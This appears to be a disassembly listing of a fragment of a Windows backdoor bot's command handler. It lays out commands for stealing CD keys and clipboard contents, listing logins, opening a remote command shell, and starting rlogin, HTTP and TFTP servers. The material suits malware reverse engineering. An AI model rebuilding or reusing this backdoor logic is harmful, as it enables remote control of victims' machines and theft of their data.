mov eax, dword [ebp - 0xd08]
test eax, eax
jne 0x41a76d
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x41a72f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._PROCS_:_Failed_to_start_listing_thread__error:___d_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.getcdkeys
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a7c5
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442b18
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a867
mov eax, dword [ebp - 0x774]
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00404620
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x4b44435b
mov dword [eax + 4], 0x5d535945
mov dword [eax + 8], 0x6553203a
mov dword [eax + 0xc], 0x68637261
mov dword [eax + 0x10], 0x6d6f6320
mov dword [eax + 0x14], 0x74656c70
mov dword [eax + 0x18], 0x2e6465
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41a84f
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.uptime
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a8a7
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442b23
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a977
mov dword [ebp - 0x3c], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov edx, 0x10624dd3
mul edx
mov eax, edx
shr eax, 6
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41a8f0
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xdc]
mov edx, 0xc22e4507
mul edx
mov eax, edx
shr eax, 0x10
cmp eax, dword [ebp - 0x3c]
jae 0x41a90d
cmp dword [ebp - 0x3c], 0xffffffff
jne 0x41a96f
mov dword [esp], 0
call fcn.00428d54
mov dword [esp + 8], eax
mov dword [esp + 4], str._MAIN_:_Uptime:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.driveinfo
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41a9b3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442b44
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41a9ea
mov eax, dword [ebp - 0x24]
add eax, 1
mov edx, dword [ebp + eax*4 - 0x77c]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040834c
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.testdlls
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41aa26
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442b51
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41aa56
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040e91a
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.opencmd
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41aa96
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.ocmd
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41ac33
mov dword [esp], 6
call fcn.0042ad8a
test eax, eax
setg al
test al, al
je 0x41ab42
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x444d435b
mov dword [eax + 4], 0x52203a5d
mov dword [eax + 8], 0x746f6d65
mov dword [eax + 0xc], 0x68732065
mov dword [eax + 0x10], 0x206c6c65
mov dword [eax + 0x14], 0x65726c61
mov dword [eax + 0x18], 0x20796461
mov dword [eax + 0x1c], 0x6e6e7572
mov dword [eax + 0x20], 0x2e676e69
mov byte [eax + 0x24], 0
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41ab2f
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
jmp 0x41ac29
mov eax, dword [ebp - 0x774]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00423d7d
cmp eax, 0xffffffff
sete al
test al, al
je 0x41abaa
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x444d435b
mov dword [eax + 4], 0x43203a5d
mov dword [eax + 8], 0x646c756f
mov dword [eax + 0xc], 0x2074276e
mov dword [eax + 0x10], 0x6e65706f
mov dword [eax + 0x14], 0x6d657220
mov dword [eax + 0x18], 0x2065746f
mov dword [eax + 0x1c], 0x6c656873
mov word [eax + 0x20], 0x2e6c
mov byte [eax + 0x22], 0
jmp 0x41abe3
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x444d435b
mov dword [eax + 4], 0x52203a5d
mov dword [eax + 8], 0x746f6d65
mov dword [eax + 0xc], 0x68732065
mov dword [eax + 0x10], 0x206c6c65
mov dword [eax + 0x14], 0x64616572
mov word [eax + 0x18], 0x2e79
mov byte [eax + 0x1a], 0
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41ac1b
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.cmdstop
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41acaa
mov eax, dword [ebp - 0x24]
add eax, 1
mov ecx, dword [ebp + eax*4 - 0x77c]
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], 6
mov dword [esp + 0x14], str.Remote_shell
mov dword [esp + 0x10], str._CMD_
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0042ae15
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442b7d
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41ada7
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41ad02
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.__Login_List__
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 2
jg 0x41ad96
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x41ad39
mov eax, dword [ebp - 0x1c]
shl eax, 7
mov edx, eax
mov eax, dword [ebp + 0x20]
add eax, edx
add eax, 1
jmp 0x41ad3e
mov eax, str._Empty_
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x442b98
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 1
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
add dword [ebp - 0x1c], 1
jmp 0x41ad09
mov dword [esp], str._MAIN_:_Login_list_complete.
call fcn.00402bae
jmp 0x423220
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.getclip
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41ade3
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442bc4
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41ae5c
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41ae19
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], str.__Clipboard_Data__
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
call fcn.0040f319
mov ecx, eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
mov dword [esp], str._MAIN_:_Get_Clipboard.
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.flusharp
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41ae9c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.farp
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41af3a
call fcn.00413e52
test eax, eax
setne al
test al, al
je 0x41aecc
mov dword [esp + 8], str._FLUSHDNS_:_ARP_cache_flushed.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x41aeec
mov dword [esp + 8], str._FLUSHDNS_:_Failed_to_flush_ARP_cache.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41af24
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.flushdns
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41af7a
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.fdns
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41b045
mov eax, dword [0x44ee6c]
test eax, eax
je 0x41afd7
mov eax, dword [0x44ee6c]
call eax
test eax, eax
setne al
test al, al
je 0x41afb5
mov dword [esp + 8], str._FLUSHDNS_:_DNS_cache_flushed.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x41aff7
mov dword [esp + 8], str._FLUSHDNS_:_Failed_to_flush_DNS_cache.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
jmp 0x41aff7
mov dword [esp + 8], str._FLUSHDNS_:_Failed_to_load_dnsapi.dll.
mov dword [esp + 4], 0x200
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41b02f
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.currentip
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41b081
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], 0x442cd1
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41b0ec
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b0ac
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
mov dword [ebp - 0x40], eax
jmp 0x41b0bb
mov dword [esp], 7
call fcn.0042add0
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x41b0e4
mov eax, dword [ebp - 0x774]
mov edx, dword [ebp - 0x40]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x2c]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.004016d0
mov eax, dword [ebp + 0x2c]
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.rloginserver
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41b12c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.rlogin
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41b3a9
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b174
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
test eax, eax
je 0x41b16d
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
jmp 0x41b179
mov eax, dword [0x43ceb4]
jmp 0x41b179
mov eax, dword [0x43ceb4]
mov dword [ebp - 0xbd8], eax
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b19f
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
jmp 0x41b1a5
lea eax, [ebp - 0x830]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40
lea eax, [ebp - 0xd9c]
add eax, 0x84
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp - 0x24]
add eax, 3
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b1e6
mov eax, dword [ebp - 0x24]
add eax, 3
mov eax, dword [ebp + eax*4 - 0x77c]
jmp 0x41b1eb
mov eax, 0x441da9
mov dword [esp + 8], eax
mov dword [esp + 4], 0x100
lea eax, [ebp - 0xd9c]
add eax, 0xc4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xbc8], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0xbc4], eax
mov ebx, dword [ebp - 0xbd8]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00414100
mov edx, eax
lea eax, [ebp - 0xd9c]
add eax, 0x84
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], edx
mov dword [esp + 4], str._RLOGIND_:_Server_listening_on_IP:__s:_d__Username:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 5
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xbd4], eax
mov ebx, dword [ebp - 0xbd4]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x42468b
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x41b338
mov eax, dword [ebp - 0xbc0]
test eax, eax
jne 0x41b359
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x41b31b
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._RLOGIND_:_Failed_to_start_server_thread__error:___d_.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp - 0x938]
test eax, eax
jne 0x41b391
mov eax, dword [ebp - 0x774]
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x2c]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x6ec]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.0040c3f1
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.00402bae
mov eax, 1
jmp 0x423223
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.httpserver
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41b3e9
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.http
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41b6b2
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b431
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
test eax, eax
je 0x41b42a
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp], eax
call sub.msvcrt.dll_atoi
jmp 0x41b436
mov eax, dword [0x43ceb0]
jmp 0x41b436
mov eax, dword [0x43ceb0]
mov dword [ebp - 0xa0c], eax
movzx eax, byte [ebp - 0x8cc]
test al, al
sete al
movzx eax, al
mov dword [ebp - 0x9f8], eax
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b488
mov eax, dword [ebp - 0x24]
add eax, 2
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
lea eax, [ebp - 0xd9c]
add eax, 0x28c
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
jmp 0x41b4d5
mov dword [esp + 4], 0x104
lea eax, [ebp - 0xf9c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x942]
mov dword [esp + 4], eax
lea eax, [ebp - 0xf9c]
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__splitpath]
call eax
lea eax, [ebp - 0xd9c]
add eax, 0x28c
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 1
movzx eax, byte [ebp + eax - 0xb10]
cmp al, 0x5c
jne 0x41b515
lea eax, [ebp - 0xd9c]
add eax, 0x28c
mov dword [esp], eax
call sub.msvcrt.dll_strlen
sub eax, 1
mov byte [ebp + eax - 0xb10], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xd9c], eax
mov eax, dword [ebp - 0x774]
mov dword [esp + 8], eax
mov dword [esp + 4], pe_nt_image_headers32
lea eax, [ebp - 0xd9c]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll__snprintf]
call eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xa00], eax
mov eax, dword [ebp - 0x938]
mov dword [ebp - 0x9fc], eax
mov ebx, dword [ebp - 0xa0c]
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00414100
mov edx, eax
lea eax, [ebp - 0xd9c]
add eax, 0x28c
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ebx
mov dword [esp + 8], edx
mov dword [esp + 4], str._HTTPD_:_Server_listening_on_IP:__s:_d__Directory:__s.
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 3
lea eax, [ebp - 0x6ec]
mov dword [esp], eax
call fcn.0042a908
mov dword [ebp - 0xa04], eax
mov ebx, dword [ebp - 0xa04]
lea eax, [ebp - 0x934]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0xd9c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x409cb8
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x41b641
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.tftpserver
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x41b6f2
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.tftp
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41b999
mov dword [esp], 4
call fcn.0042ad8a
test eax, eax
setg al
test al, al
je 0x41b73f
lea eax, [ebp - 0x6ec]
mov dword [eax], 0x5446545b
mov dword [eax + 4], 0x203a5d50
mov dword [eax + 8], 0x65726c41
mov dword [eax + 0xc], 0x20796461
mov dword [eax + 0x10], 0x6e6e7572
mov dword [eax + 0x14], 0x2e676e69
mov byte [eax + 0x18], 0
jmp 0x41b949
mov eax, dword [ebp - 0x24]
add eax, 1
mov eax, dword [ebp + eax*4 - 0x77c]
test eax, eax
je 0x41b77e
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x77c]
mov dword [esp + 4], eax
mov dword [esp], str.crash
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x41ba35
mov eax, dword [ebp + 0x2c]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret